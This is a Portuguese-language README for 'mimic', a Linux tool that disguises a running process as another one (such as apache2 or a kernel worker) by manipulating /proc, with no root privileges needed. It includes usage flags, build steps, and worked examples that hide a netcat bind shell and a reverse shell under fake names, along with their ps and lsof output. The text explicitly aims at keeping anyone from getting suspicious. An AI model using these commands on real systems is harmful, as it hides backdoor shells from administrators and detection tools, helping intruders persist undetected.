
Ocultar processos como um usuário normal no Linux.
mimic é uma ferramenta para execução oculta em Linux x86_64.
O que é "execução oculta"?
Execução oculta é a arte de esconder um processo. Neste caso, mimic esconde o processo à vista de todos. mimic pode executar qualquer programa e fazê-lo parecer qualquer outro programa. Qualquer usuário pode usá-lo. Não requer permissões especiais. Não requer binários especiais. Não requer um root kit.
O quê?! Sem privilégios especiais??
Isso mesmo. mimic funciona reorganizando as estruturas internas de um processo de tal forma que confunde a entrada /proc desse processo. Todas as ferramentas que relatam a natureza de um processo o fazem examinando /proc. Se conseguirmos dobrar o /proc, podemos esconder um processo à vista de todos. Como estamos apenas alterando o estado de um processo que possuímos, qualquer pessoa pode executar mimic com sucesso.
Isso pode ser detectado?!
Claro, mas apenas se você estiver olhando muito de perto, ou executando uma ferramenta forense que esteja procurando por esse tipo de coisa. A utilidade por trás do mimic é que ele impedirá que alguém fique desconfiado em primeiro lugar.
Isso funciona com scripts?
Sim, mas você precisa chamar o mimic diretamente no interpretador. Por exemplo, se a primeira linha do seu script for "#!/usr/bin/perl", então você vai querer chamar mimic assim:
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl"
Ao invocar o interpretador diretamente, o mimic pode fazer sua mágica.
Qual é o público-alvo do mimic?
Qualquer pessoa que precise legitimamente de execução oculta antes de obter root. Isso inclui, mas não se limita a:
Por que se chama "mimic"?
Porque "Mentiroso, mentiroso, /proc em chamas!" era muito longo.
O que é "set_target_pid"?
set_target_pid é um pequeno programa auxiliar no conjunto mimic que irá esgotar pids até que o que você deseja retorne. Isso permite que você escolha onde na listagem de processos você quer que seu processo se posicione. Note que o kernel reserva os primeiros 300 pids para threads do kernel. Se você tentar ir abaixo disso, provavelmente acabará executando com o pid 301.
uso: mimic -e COMANDO [-m MIMICO] [-b] [-a CHAVE=VALOR] [-q] [-h]
-e Executa COMANDO.
-m Configura COMANDO para parecer com MIMICO.
Padrão para não-root: "/usr/sbin/apache2 -k start"
Padrão para root: "[kworker/0:0]"
-b Executa COMANDO em segundo plano.
-a Adiciona / sobrescreve CHAVE ao ambiente mimic com o VALOR associado.
-q Fique quieto! Não imprima saída normal.
-h Imprime esta mensagem útil.
Notas:
O ambiente MIMICO será uma cópia do ambiente COMANDO.
A variável '_' é alterada automaticamente.
A flag -a pode ser chamada várias vezes para adicionar / sobrescrever múltiplas variáveis.
Exemplos:
mimic -e /bin/bash
set_target_pid 1 && mimic -e /bin/bash
mimic -b -e "./revsh"
mimic -b -e "nc -l -e /bin/bash"
mimic -b -e "nc -l -e \"mimic -e /bin/bash\""
Primeiro exemplo - Iniciando um ouvinte netcat como usuário comum:
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child... Success!
Waiting for child to attach... Success!
Initializing ptrace_do... Success!
Determining stack state... Success!
Politely requesting name change... Success!
Searching for main()... Success!
Building execution headers... Success!
Setting up final state... Success!
Good-bye and have a good luck! :)
empty@monkey:~$ ps aux | grep apache
empty 1931 19.5 0.0 16648 1324 pts/1 S 21:41 0:02 /usr/sbin/apache2 -k start
empty 1935 0.0 0.0 7596 836 pts/1 S+ 21:41 0:00 grep apache
empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty:
apache2 1931 empty 3u IPv6 14462 0t0 TCP *:31337 (LISTEN)
apache2 1931 empty 4u IPv4 14463 0t0 TCP *:31337 (LISTEN)
Segundo exemplo - Iniciando uma reverse shell netcat como root:
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"
Consegue identificar os kworkers falsos? Você seria capaz de identificá-los sem a ajuda do grep?
root@monkey:~$ ps aux | grep kworker | grep -v grep
root 18 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/3:0]
root 197 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:3]
root 198 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:4]
root 199 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:5]
root 302 23.4 0.0 18748 1912 pts/5 S 22:28 0:02 [kworker/0:0]
root 304 11.4 0.0 3780 296 pts/5 S 22:28 0:00 [kworker/0:0]
root 305 10.8 0.0 10644 1200 pts/5 S 22:28 0:00 [kworker/0:0]
root 426 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/1:0]
root 434 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/3:2]
root 536 0.0 0.0 0 0 ? S 20:12 0:00 [kworker/0:0]
root 879 0.0 0.0 0 0 ? S 20:39 0:00 [kworker/2:0]
root 1463 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/1:2]
root 2132 0.0 0.0 0 0 ? S 19:47 0:00 [kworker/2:2]
root 2607 0.0 0.0 0 0 ? S 20:01 0:01 [kworker/0:1]
Claro, nenhum kworker deveria ter um socket aberto, mas tenho certeza que você pode ser mais criativo com suas escolhas de nomes do que isso. :)
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0 302 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 304 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 305 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
Note que estou executando aqui como root apenas porque um thread kworker seria muito suspeito executando como um usuário não-root. O novo nome mimic é apenas uma string. Não precisa ser um processo existente. Diabos, não precisa nem ser algo real!
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"
empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty 399 2.9 0.0 3780 300 pts/4 S 22:34 0:00 Totally not a rootkit!
empty 400 2.7 0.0 19372 2044 pts/4 S 22:34 0:00 Totally not a rootkit!
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..
git clone https://github.com/emptymonkey/mimic.git
cd mimic
make